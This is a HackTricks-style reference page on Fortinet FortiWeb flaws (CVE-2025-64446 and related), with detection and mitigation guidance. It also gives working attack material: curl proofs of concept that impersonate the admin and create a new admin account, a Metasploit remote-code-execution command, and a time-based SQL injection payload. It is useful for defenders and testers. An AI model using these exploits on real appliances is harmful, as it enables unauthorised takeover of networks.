// HackTricks · Network Services

Fortinet FortiWeb — Auth bypass via API-prefix traversal and CGIINFO impersonation

Fortinet FortiWeb — Auth bypass via API-prefix traversal and CGIINFO impersonation

Overview

Fortinet FortiWeb exposes a centralized CGI dispatcher at /cgi-bin/fwbcgi. A two-bug chain allows an unauthenticated remote attacker to:

  • Reach fwbcgi by starting the URL with a valid API prefix and traversing directories.
  • Impersonate any user (including the built-in admin) by supplying a special HTTP header that the CGI trusts as identity.[2]

Vendor advisory: FG‑IR‑25‑910 (CVE‑2025‑64446). Exploitation has been observed in the wild to create persistent admin users.[1]

Impacted versions (as publicly documented):[2]

  • 8.0 < 8.0.2
  • 7.6 < 7.6.5
  • 7.4 < 7.4.10
  • 7.2 < 7.2.12
  • 7.0 < 7.0.12
  • 6.4 ≤ 6.4.3
  • 6.3 ≤ 6.3.23

FortiWeb 8.0.2 returns HTTP 403 for the traversal probe below.[2]

Quick vulnerability probe

  • Path traversal from API prefix to fwbcgi:
GET /api/v2.0/cmdb/system/admin/../../../../../cgi-bin/fwbcgi HTTP/1.1
Host: <target>
  • Interpretation: HTTP 200 → likely vulnerable; HTTP 403 → patched.[2]
  • A slightly more realistic probe is a POST with a minimal JSON body. Public tooling commonly uses the encoded path /api/v2.0/cmdb/system/admin%3F/../../../../../cgi-bin/fwbcgi because some normalizers treat the encoded ? differently:[4]
curl -sk -X POST \
  -H 'Content-Type: application/json' \
  --data '{}' \
  'https://<host>/api/v2.0/cmdb/system/admin%3F/../../../../../cgi-bin/fwbcgi'
  • Interpretation: HTTP 403 → fixed; JSON with results.errcode == -56 → traversal succeeded and you reached the auth gate inside fwbcgi.[4]

Root cause chain

  1. API-prefix path traversal to internal CGI
  • Any request path that begins with a valid FortiWeb API prefix (e.g., /api/v2.0/cmdb/ or /api/v2.0/cmd/) can traverse with ../ to /cgi-bin/fwbcgi.[2]
  1. Minimal-body validation bypass
  • Once fwbcgi is reached, a first gate performs a permissive JSON check keyed by a per-path file under /var/log/inputcheck/. If the file is absent, the check passes immediately. If present, the body only needs to be valid JSON. Use {} as a minimal compliant body.
  1. Header-driven user impersonation
  • The program reads the CGI environment variable HTTP_CGIINFO (derived from the HTTP header CGIINFO), Base64-decodes it, parses JSON, and copies attributes directly into the login context, setting the domain/VDOM. Keys of interest:
    • username, loginname, vdom, profname
  • Example JSON to impersonate the built-in admin:
{
  "username": "admin",
  "profname": "prof_admin",
  "vdom": "root",
  "loginname": "admin"
}

Base64 of the above (as used in-the-wild):

eyJ1c2VybmFtZSI6ICJhZG1pbiIsICJwcm9mbmFtZSI6ICJwcm9mX2FkbWluIiwgInZkb20iOiAicm9vdCIsICJsb2dpbm5hbWUiOiAiYWRtaW4ifQ==

End-to-end abuse pattern (unauthenticated → admin)

  1. Reach /cgi-bin/fwbcgi via an API-prefix traversal.[2]
  2. Provide any valid JSON body (e.g., {}) to satisfy the input check.
  3. Send header CGIINFO: <base64(json)> where the JSON defines the target identity.
  4. POST the backend JSON expected by fwbcgi to perform privileged actions (e.g., create an admin user for persistence).

Minimal cURL PoC

  • Probe traversal exposure:
curl -ik 'https://<host>/api/v2.0/cmdb/system/admin/../../../../../cgi-bin/fwbcgi'
  • Impersonate admin and create a new local admin user:
# Base64(JSON) for admin impersonation
B64='eyJ1c2VybmFtZSI6ICJhZG1pbiIsICJwcm9mbmFtZSI6ICJwcm9mX2FkbWluIiwgInZkb20iOiAicm9vdCIsICJsb2dpbm5hbWUiOiAiYWRtaW4ifQ=='

curl -ik \
  -H "CGIINFO: $B64" \
  -H 'Content-Type: application/json' \
  -X POST \
  --data '{"data":{"name":"watchTowr","access-profile":"prof_admin","access-profile_val":"0","trusthostv4":"0.0.0.0/0","trusthostv6":"::/0","type":"local-user","type_val":"0","password":"P@ssw0rd!"}}' \
  'https://<host>/api/v2.0/cmdb/system/admin/../../../../../cgi-bin/fwbcgi'

Notes:

  • Any valid JSON body suffices (e.g., {}) if /var/log/inputcheck/<path>.json does not exist.
  • The action schema is FortiWeb-internal; the example above adds a local admin with full privileges.[2]

Chaining the auth bypass to OS-level RCE

  • CVE-2025-64446 gives access to privileged management actions, but operators should assume public exploit chains will immediately try to turn it into shell access.
  • Public tooling now chains the auth bypass with CVE-2025-58034: create a local admin through fwbcgi, log in via /logincheck, then drive the management CLI to execute payloads.[4]
  • Observed/public transports for the CLI stage:[4]
    • FortiWeb 7.x / 8.x: WebSocket CLI at /ws/cli/open
    • FortiWeb 6.x: HTTP CLI bridge at /httpclirqst
  • The public Metasploit module exploit/linux/http/fortinet_fortiweb_rce uses the same logic and performs a relatively safe check first (403 on patched builds, usually JSON errcode -56 on exposed ones).[4]
msfconsole -q -x 'use exploit/linux/http/fortinet_fortiweb_rce; set RHOSTS <target>; set LHOST <listener>; check; run'

Other FortiWeb vulnerabilities worth checking quickly

Pre-auth Fabric Connector SQLi → RCE (CVE-2025-25257)

  • Affects 7.6.0–7.6.3, 7.4.0–7.4.7, 7.2.0–7.2.10, 7.0.0–7.0.10. Fixed in 7.6.4 / 7.4.8 / 7.2.11 / 7.0.11.[3]
  • Bug: get_fabric_user_by_token() uses the Authorization: Bearer <token> value directly in a SQL query. Attacker input is first parsed with Bearer %128s, so spaces terminate the payload; public exploitation replaces spaces with /**/ comments.
  • Typical attack surface: /api/fabric/device/status (and other Fabric Connector endpoints) over HTTP/HTTPS on the management plane.
  • Non-destructive validation commonly uses a time-based payload:
time curl -sk \
  -H "Authorization: Bearer AAAAAA'/**/or/**/sleep(5)--/**/-'" \
  'https://<host>/api/fabric/device/status'
  • Weaponization: move from SQLi to file write (INTO OUTFILE) and then to code execution (for example a Python .pth loader or CGI dropper). The FortiWeb-specific file-write/RCE details are already covered in MySQL file write to Python .pth RCE.
  • Hunting clues: Authorization headers containing quotes/comment sequences/sleep(/union; unexpected files under /data/lib/python*/site-packages/ or /data/var/waf/html/ROOT/cgi-bin/.

FortiCloud SSO signature bypass (CVE-2025-59719)

  • Improper SAML signature verification lets an attacker forge FortiCloud SSO responses and log in as admin with no credentials.
  • Only exploitable when FortiCloud SSO login is enabled (it turns on automatically if the appliance was registered via GUI unless the checkbox was unticked).
  • Affected (per PSIRT): 8.0.0, 7.6.0–7.6.4, 7.4.0–7.4.9. Patched in 8.0.1 / 7.6.5 / 7.4.10.

Administrative FortiCloud SSO account-binding bypass (CVE-2026-24858)

  • This is a different bug class from CVE-2025-59719: the attacker needs any FortiCloud account plus any registered Fortinet device, then abuses FortiCloud SSO to log in to other customers’ devices if FortiCloud SSO admin login is enabled there.[5]
  • Fortinet reported in-the-wild exploitation, temporarily disabled FortiCloud SSO on the FortiCloud side on 2026-01-26, and re-enabled it on 2026-01-27 with vulnerable client versions blocked.
  • FortiWeb affected versions: 8.0.0–8.0.3, 7.6.0–7.6.6, 7.4.0–7.4.11. Fixed in 8.0.4 / 7.6.7 / 7.4.12.
  • Factory defaults do not enable this login path, but GUI-based registration can enable it if the administrator leaves Allow administrative login using FortiCloud SSO turned on.

OS command injection in management plane (CVE-2025-58034)

  • Affected: 7.0.0–7.0.11, 7.2.0–7.2.11, 7.4.0–7.4.10, 7.6.0–7.6.5, 8.0.0–8.0.1. Fixed in 7.0.12 / 7.2.12 / 7.4.11 / 7.6.6 / 8.0.2.[4]
  • Practical impact: this is the post-auth primitive most worth caring about because it can be chained with CVE-2025-64446 to obtain unauthenticated RCE.
  • Public exploit chains execute commands through the management CLI, using /ws/cli/open on 7.x/8.x and /httpclirqst on 6.x after a valid admin session exists.

Detection

  • Requests reaching /cgi-bin/fwbcgi via API-prefix paths containing ../, especially the public exploit form /api/v2.0/cmdb/system/admin%3F/../../../../../cgi-bin/fwbcgi.[4]
  • Presence of header CGIINFO with Base64 JSON containing keys username/loginname/vdom/profname.[2]
  • Follow-on activity after the auth bypass:
    • Unexpected local admin creation.
    • Fresh sessions to /logincheck immediately followed by /ws/cli/open or /httpclirqst.
    • Configuration changes or command execution shortly after fwbcgi access.
  • Fabric Connector SQLi: Authorization headers containing quotes/comment sequences/sleep(/union; hits to /api/fabric/device/status from internet IPs; sudden files in Python site-packages or CGI directories.[3]
  • FortiCloud SSO abuse: unexpected administrative logins through FortiCloud SSO on appliances that were registered through the GUI, especially if that login path was thought to be unused.[5]
  • Backend artifacts:[2]
    • Per-path files under /var/log/inputcheck/ (gate configuration).
    • Unexpected admin creation and configuration changes.
  • Rapid validation: the traversal probe returning 200 (exposed) or JSON auth errors (such as errcode -56) vs 403 (blocked in fixed builds).[4]

Mitigation

  • Upgrade CVE-2025-64446-exposed builds to fixed releases (examples: 8.0.2, 7.6.5, 7.4.10, 7.2.12, 7.0.12) per vendor advisory.[1]
  • Patch the related management-plane bugs as well:
    • SQLi (CVE-2025-25257): 7.6.4 / 7.4.8 / 7.2.11 / 7.0.11
    • FortiCloud SSO signature bypass (CVE-2025-59719): 8.0.1 / 7.6.5 / 7.4.10
    • FortiCloud SSO account-binding bypass (CVE-2026-24858): 8.0.4 / 7.6.7 / 7.4.12
    • Command injection (CVE-2025-58034): 7.6.6 / 7.4.11 / 7.2.12 / 7.0.12 / 8.0.2
  • Until patched:
    • Do not expose FortiWeb management plane to untrusted networks.
    • Add reverse-proxy/WAF rules to block:
      • Paths that start with /api/ and contain ../cgi-bin/fwbcgi.
      • Requests carrying a CGIINFO header.
      • Fabric Connector calls with SQL metacharacters in Authorization.
    • Disable Allow administrative login using FortiCloud SSO if you do not explicitly need it.
    • Monitor and alert on the detection indicators above.

References

☧ CPTS · ordered posts

Locked

Unlock with your Main_Key through local GPG.

Start the local GPG helper

In your cheatsheet checkout, run:

npm run unlock:helper

Open the link it prints, or paste its pairing code below. Keep the terminal open until GPG finishes.

Import an index you already decrypted

Download the encrypted index, then decrypt with GPG:

gpg --output report-index.json --decrypt report-index.gpg

Your private key stays in GPG. The decrypted index is saved in this browser so you can reopen it after navigation, refreshes and restarts. Lock this browser or clear this site's browser data to remove the saved index. Nothing is uploaded.